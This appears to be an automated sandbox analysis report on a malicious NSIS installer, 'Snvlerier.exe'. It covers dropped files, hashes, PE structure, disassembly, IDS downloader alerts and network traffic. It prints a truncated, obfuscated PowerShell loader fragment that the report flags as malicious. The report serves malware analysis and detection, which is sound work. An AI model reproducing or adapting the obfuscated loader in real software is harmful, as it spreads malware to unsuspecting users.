SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Ausubo.kno

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	data
Category:	dropped
Size (bytes):	300861
Entropy (8bit):	7.7511637196757555
Encrypted:	false
SSDEEP:	6144:jI86lpff3tCgSm4B7hnaVwM8JAaLzbIE2smQC+rdF/5ijgbSGai:b+pAbri5favbF/JF/5imSGai
MD5:	8BEAF2A3C5AA8462B0B405AD4ED8C9A5
SHA1:	56F13E581E2438CE4848316A5482D062502AA956
SHA-256:	B2432F5CB4DAB3BFD81ED9E49AA2E620B185F3202E0057B2DBD16108E1D825A5
SHA-512:	0191EE306B4EDDE45A318FA6146656C865CC4C1A682E4720C5768AB9DDC1817F504523535F06F763862A038ADE373BB4AFBDEA1EA06B576D082741E86364EA90
Malicious:	false
Preview:	..r........{...............!.................\|.........................................._......................................~~..O......u.vv..................?......~.............9.........R...........................,,...................Z.l.^.{...........................i........s.....I.D..........QQ....FFFF.............C...,.....!!...........................<<<<...................KK........44......0.............4.^.::.8.""".~.k.........F./..........................................TTT.............x.....................(............s..........i........................"""..p.......~~............CCC......gg.........{.............++... ......;;;;...........^^........................................................a.....99.R....44.................ccc............55......................W.-...ee.4.........;.......................""......._..........\|.......................4.............88.........\|............;;.......hh......KK.>.........555...........(((.......................\\\..----.*

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Bygningselementer19.dok

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	data
Category:	dropped
Size (bytes):	443990
Entropy (8bit):	4.941029317076222
Encrypted:	false
SSDEEP:	6144:6FWzFzCG7J2HcSyF52UZ0r641maYuVuWrazCdAZfwsGw+N12Adr+Nrng2Cx45c:6Fq/keFZD4saT7razvpGdN6pgDx45c
MD5:	F2D3C6D1004E7B627C96E94931628A07
SHA1:	B85780713E50904F7EA04C9A471E0888524CF2CD
SHA-256:	6FF9B11E018A7E20D33D3752847FC0FCE561199A9C0716F7512B108933086D5E
SHA-512:	C48C79485FD21637A31428D211DB43C939BD874AB2C16AB5DF7D9DB1E792328486DB3FBE5F1B1002B88D13B71C4229E36C0419AAF95F99EEDE112C8D29BDE85E
Malicious:	false
Preview:	...,...........E....B...1.....a.D..V{..$..K.......y.@.?..\|...F........2..........^..ga..-.......%....t....."..1...5<......e...M8N....-...........(y..........bA..._...j......).X...^...y.6....D..T....d...`2........Kh...\|..x....W.E..ek....)..s.............w..........o....................(.......0.....6......:.(:..............XD..............6..V...V;D.......8......Z.=Q=.U9t.X...'.L....^..0........q...A{...R.........].0.... ..@w.......xj .....A....p...m.......5...<....l(V$...............}..A._.%M..'......kJeRW.IP...&..f....~.u.rs............+)..>......B.=.............<-............-....(.5z............@...........5..k.............0..[./.....X.'f......................4............q.......Q.<.............8....z.\|..B.9!..OP..].........................\.....;....d..].......#.....D.....2..V.....<.i...w.........k".......=..DV4..M6..........R....3....f.......S......b..4......./...7../.8.>{K.:....t.ak...v............4.......0..W...G..&...aP...C.....t......H.0...n..............5..............

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	ASCII text, with very long lines (3071), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	53488
Entropy (8bit):	5.354606050376097
Encrypted:	false
SSDEEP:	768:iCSkeNeDpS/zxwceiKuHkzJlnBK0VI05dsjQy8wJ1Asd/vqN/5xhSmDC3GER08yZ:gwSOTZG9EstvqHHBFLwgWA8skWakl
MD5:	0BD036116E386AD4087EE98B7E9B202B
SHA1:	8FA72B8D7863E783966744A27AA859A01A0F023B
SHA-256:	BD0E151A557B61A444BB30970B0AC73CDAE213ADDBA8B30F0D04231E59B81D00
SHA-512:	6B024CC20A52C6E9B853114549D3EDC0AF400B76F918CD2667653936A51AF78E57E0BB41945683E823E85B5A8CF99FF8DB290874BB48619610D6530F125269A7
Malicious:	true
Preview:	$Epsteinrnesygdomme=$Pacificism;..<#Manometer Snerterne Stavelseantallet Maallinje #>..<#Idrtslig Unsnatched Irvingiana Stilfilerne Fimrecelle Licenskortets #>..<#Uhyrer Komponentens Travelogs Doggies Gldssaneringers Sexmisbrug mythopoetised #>..<#Merbeskatning toffs afbdede Origanums #>..<#Miraklet Lammefrikassdg Vaesentligste Galets #>..<#Anaphasic Armonica Rapiditets Coronated Medicinalfabrikkers Underproduced Pnhedernes #>...$acanthaceae = @'.Ba ka.Ethmo$Ud trsUngodo LgdonBynavaUdstatSynkreCrantn igle=Cyclo$RestaUPard nnonfacFr,ntaTodkkp Unics H.poiMaximzinop.aPa psbGrundlJallde Gra ; Viol..aramfStyleu TobananalycLin xt AfkoiVerbioHomelnMinde Forh,BMandeaPjaltl rostaFacepl Rolla EndojMemorkBidraaUnfameNis en CaptsLi ie D.spu(Ballo$Sili,ECushrrtalc,oUncart JugooBulbig iliaeInte,n TrvleRetal, Fore$R.altEStninpHjertsBeskft BacteSo otiVe omn Vigo)Ozonl toreu{Beret.S hoc.De ai$ B.ndMChakraI ficsApo ocSa toa oodrlGoverl Sch yTroj Eft r(Saf aT.rossrB undip odutAscaroKalvenTele eCupros Ga

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Snvlerier.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1261140
Entropy (8bit):	7.792082394746061
Encrypted:	false
SSDEEP:	24576:voqqHmQ2mlK1Vq4XYV+EYBU0pD1VHTkXQk9duRUrO0SmJ7GtHufK70y:voZmQ7KVVXzEYBUspQQEuROO0Douf+
MD5:	9970463EDF086976996F0BC196FCFC60
SHA1:	22F3132F1456DBA3BCC7096D2C10C5635EE08828
SHA-256:	6E0230EAC8EEADD5214B6D83CC2F470933BEE1C4261A607E182A093AF14B62CB
SHA-512:	BED16BF0F2AD277AC3CF34937E128EFBD861472F99C0D1CB36F1BB89F7A5DAB64174BC113C707CEEE52A2BC39D2546610015EDB54C18A076A297CE5EC7D7C7D9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 27%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....e.Q.................\..........M2.......p....@..........................0...............................................s.......@...............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data...............r..............@....ndata.......@...........................rsrc........@.......v..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Snvlerier.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\frihedsgodes.sto

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	489839
Entropy (8bit):	4.9388616235368294
Encrypted:	false
SSDEEP:	6144:IW3TRzZ6utbZfJXer6QH6fTRK0qqvNhoJjrpb+YL5UTyasf3cEjyRe/mCHMr5Vc2:IOVF6el43H6AxqcrV+YLIyZfsiYe/fH
MD5:	4D2DCA07B4793B8F3398BE8ABB6B9A15
SHA1:	86F7C87B328BE584603E0F5AEC19B9F43E568F04
SHA-256:	A1BB849E12E5C2BE8A84543C1942AA1A670A394C7F78D5941F66553F3D3C16CD
SHA-512:	7C1DFEF914C3DB2EECEBBAE8D6BE6F2BE50C1546D96D03D01C850F34A23B47347AFEAF84875995727155286021A021ED29B1C004F6F628A56795577D6AD206E7
Malicious:	false
Preview:	.....0.....e.B#..........n.........w.e...."~_..^....^...J...'.n..C.=n......\.w...o`...."........M.4@c.s.....~...........a....%4y....~...........N..........B.F.....U$.........b.............e1d....$.B.......m.................U..c.......H...... p...........8..&.............I.Gx......;....e...,...E......'.cX..t..P......N..A....... ......s3.qz./......G....`(...W......i......i.W4...s...........v.#........).T....sN..?...f..................2.ey.U..#tc.U.........T................Z.........D.........c....=....H.*..Y.............r...t...........8..........P.........C..7..ki........>._..X....f.....s..........f..........td......"..X..7....n......^.U...........t.?.....g.......z.Us7...................k........x..).........=.....M...i..............\..9...........E. .r....v=7...F......C.;+..9....Y.....2...........<sa....."P...2...................7............F.......S .......8.S...........V...............I....4...D...............8.....l......kW.....O....]./..3....7R$.,.u.^Z....G.......

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\jaevndoegn.ski

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	data
Category:	dropped
Size (bytes):	142857
Entropy (8bit):	4.930504957178138
Encrypted:	false
SSDEEP:	3072:3HT6wVoryD42JOe5jbX/H7HqpXKmzorrt1BbL4TYw/IvfE:3uwVoYOe5f/H7HqpjcN1dUMkI3E
MD5:	475F44660157184A49238FA6DFB94FD0
SHA1:	F2659AC1A79399BCE830EA9539E26A54AB6674D0
SHA-256:	C3E03B93B2CAB1FB731BD44F8F85940D96DC814CD11EA2D39C0EB01BF0DBC3DE
SHA-512:	1B1D85FA7289689C0A5509B1BAD12F044CCDC6F73803775BC144A0F7C76252B49E448D772438A7695F19B926BF72054945B3324EE7EC7BCAC3E97ACD54B3E5A7
Malicious:	false
Preview:	.....T ......d.i..........m0.-^....._..d......d....D.F.........W....../.....a.^....y..)3.W...S...}...e..~............................l.....j..........r........e..........\.......n...S'.Y.>@..$..4.....(.....................;.........................!...VX.w.h.....................~.l.....^........}..M.q9j...................*0..o........SEJN.7..u.8........n...;..q.........9:.h.\2.aO..Q.....!s.=....;........f....i-?.......9,.....E..w.Z...n.......Q....-..."..M...............P....K...5t.....Lg.&..7..,.../............5.#...$..j.^...)...f...........J.................[..u......\h......E..C..........6....X.R.....7..c.........7..7....s+........2....0.......F...0.....D..............)........kL9...N........Mw.............$........c............s.......(C3......J.i.....9...>.........]f............!.......F.u.x..Q.....;...b...b....?..2......<.Q...^........~.h........y...............k..................[.....7......4! ....".......\...S.f..6......_..`../.I...}..C.}.g....................R.....

C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\prevailingness.txt

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	4.269100199509316
Encrypted:	false
SSDEEP:	6:uTM3xL6dnQI9rEEJxgOJbZoSWnFrvZXpECWaMdCJzwI+2bS93kH/G7qaqJvJn:uA3xL6VQPGxgRtFred+wE+wcqaqzn
MD5:	2E0BEA6275406633E059EEECE6A1F594
SHA1:	7E4A65A0A0EC605412989E0E2D9BA9B3DFE7D0D5
SHA-256:	5B75D42D64EB1BEA2AC77BE7A9258F65F80A38876B2B6D377BF202CD0D7A0E67
SHA-512:	527ADD4EB664D7B7B34609E678D418930B55D482332B4E15B8CECE8713BE0F829C211E2348EA209EACA2BDEA50BF0F1D79CFB5C22041CBBD16140DBF6D3DC562
Malicious:	false
Preview:	privities frikadellen filmskaberen karleagtig grossness strmliningernes apanage diskoskastene kursivens..whistlers geddefarses morel panters lamaism,catalyze driftsbudgetter lucrific galilere calorifical.baobabtrs ekstrabevilling bestikkelserne cruder dictyonema depravities..motellers neurocrinism bevgelseshmmets,fcy monovalent skrevne shibboleths,

C:\Users\user\AppData\Local\Temp\nsm2DDB.tmp

Process:	C:\Users\user\Desktop\Snvlerier.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	1437022
Entropy (8bit):	5.79930707482526
Encrypted:	false
SSDEEP:	24576:zBa256R8mSTy2q/kSZDLveCgt7U6I2aDcBHnt3XaY6Z:zBa256SmKy2CkSa5gql+
MD5:	09F05569DA77DDB915990BC80C54547B
SHA1:	E30BB9965DF58ADC84FBD61B23EB2DB7E3315CCB
SHA-256:	F552ED0368CD2ED7A90F0B7E3A950C3CE767D99742A771882D15BACBED1441BC
SHA-512:	7AE9F2F8AF577E203E480715A94E63375AE4E60FF596B52641500BCB9F5A423D9A299AB092789A7774D4EA7B25F091032BE919557DBF5F782BCCC3D80AFF8473
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse
Preview:	........,.......,.......D...<...............................................................................................................................................................................................................................................................J...b...............h...............................................................g...............................................................j...............................................................................................................................n.......................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.792082394746061
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Snvlerier.exe
File size:	1'261'140 bytes
MD5:	9970463edf086976996f0bc196fcfc60
SHA1:	22f3132f1456dba3bcc7096d2c10c5635ee08828
SHA256:	6e0230eac8eeadd5214b6d83cc2f470933bee1c4261a607e182a093af14b62cb
SHA512:	bed16bf0f2ad277ac3cf34937e128efbd861472f99c0d1cb36f1bb89f7a5dab64174bc113c707ceee52a2bc39d2546610015edb54c18a076a297ce5ec7d7c7d9
SSDEEP:	24576:voqqHmQ2mlK1Vq4XYV+EYBU0pD1VHTkXQk9duRUrO0SmJ7GtHufK70y:voZmQ7KVVXzEYBUspQQEuROO0Douf+
TLSH:	47451202E9C0CFD7F96648B044D5E494B3F569F94DD16B0F32CD269A28F98E374A821D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....e.Q.................\..........M2.......p....@

File Icon


Icon Hash:	071c5c5f4f20111f

Static PE Info

General

Entrypoint:	0x40324d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x519965D9 [Sun May 19 23:52:57 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e990dd07e89d04c53e337ab9b3f5e0cc

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], 00409130h
mov dword ptr [esp+18h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070B4h]
push ebx
call dword ptr [0040728Ch]
push 00000008h
mov dword ptr [00423F98h], eax
call 00007F3FD881168Bh
mov dword ptr [00423EE4h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041F4A0h
call dword ptr [00407164h]
push 004091E4h
push 004236E0h
call 00007F3FD8811335h
call dword ptr [004070B0h]
mov ebp, 00429000h
push eax
push ebp
call 00007F3FD8811323h
push ebx
call dword ptr [00407114h]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423EE0h], eax
mov eax, ebp
jne 00007F3FD880E90Ch
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F3FD8810DD0h
push eax
call dword ptr [00407220h]
mov dword ptr [esp+20h], eax
jmp 00007F3FD880E9C0h
cmp cl, 00000020h
jne 00007F3FD880E908h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F3FD880E8FCh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x3edb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5bf0	0x5c00	f0d04a8cf00dab694f96f83a6fb8deea	False	0.6697944972826086	data	6.4809131863371	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	6bf29bc07ee82c85e22382576e6107a3	False	0.4529079861111111	OpenPGP Secret Key	5.235976864115322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1afd8	0x400	b8099c4227307bfa21b577bd03cec2ce	False	0.6015625	data	4.935360760194213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x34000	0x3edb0	0x3ee00	38123f82dccbdf37cd57e4d88cc46b85	False	0.5937072875248509	data	6.240361968643795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x34418	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x34780	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.41602093931148704
RT_ICON	0x44fa8	0xfd49	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9991209265742355
RT_ICON	0x54cf8	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.46849379861257096
RT_ICON	0x5e1a0	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.47424812030075186
RT_ICON	0x64988	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.4914972273567468
RT_ICON	0x69e10	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.48541568256967405
RT_ICON	0x6e038	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5407676348547718
RT_ICON	0x705e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5886491557223265
RT_ICON	0x71688	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6635245901639344
RT_ICON	0x72010	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.750886524822695
RT_DIALOG	0x72478	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x725c0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x72700	0x100	data	English	United States	0.5234375
RT_DIALOG	0x72800	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x72920	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x729e8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x72a48	0x92	data	English	United States	0.7123287671232876
RT_MANIFEST	0x72ae0	0x2cb	XML 1.0 document, ASCII text, with very long lines (715), with no line terminators	English	United States	0.5664335664335665

Imports

DLL	Import
KERNEL32.dll	Sleep, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, CompareFileTime, SearchPathA, GetTickCount, CreateFileA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, SetFileAttributesA, lstrcmpiA, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, WaitForSingleObject, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, GetModuleHandleA, LoadLibraryExA, GetTempPathA, GetWindowsDirectoryA, FreeLibrary, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, MulDiv, WriteFile, MultiByteToWideChar
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T09:12:11.601627+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49744	193.122.130.0	80	TCP
2024-10-14T09:12:12.929762+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49744	193.122.130.0	80	TCP
2024-10-14T09:12:13.508895+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	443	TCP
2024-10-14T09:12:14.070380+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49762	193.122.130.0	80	TCP
2024-10-14T09:12:14.647364+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49768	188.114.96.3	443	TCP
2024-10-14T09:12:16.929136+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49783	188.114.96.3	443	TCP
2024-10-14T09:12:19.118410+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49802	188.114.96.3	443	TCP
2024-10-14T09:12:21.359711+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49821	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 09:12:05.986233950 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:05.986306906 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:05.986378908 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.021692991 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.021744967 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:06.686444044 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:06.686556101 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.687571049 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:06.687630892 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.756251097 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.756330013 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:06.757244110 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:06.757313967 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.760781050 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:06.807418108 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:07.067979097 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:07.068079948 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:07.068146944 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:07.068208933 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:07.068291903 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:07.068317890 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:07.068350077 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:07.068391085 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:07.068399906 CEST	443	49736	142.250.185.110	192.168.2.4
Oct 14, 2024 09:12:07.068465948 CEST	49736	443	192.168.2.4	142.250.185.110
Oct 14, 2024 09:12:07.105299950 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.105356932 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:07.105468035 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.105756044 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.105787039 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:07.784305096 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:07.784437895 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.886735916 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.886780024 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:07.887722969 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:07.887820959 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.891719103 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:07.939407110 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.067137957 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.067241907 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.072962046 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.073126078 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.085719109 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.085773945 CEST	49737	443	192.168.2.4	142.250.185.97
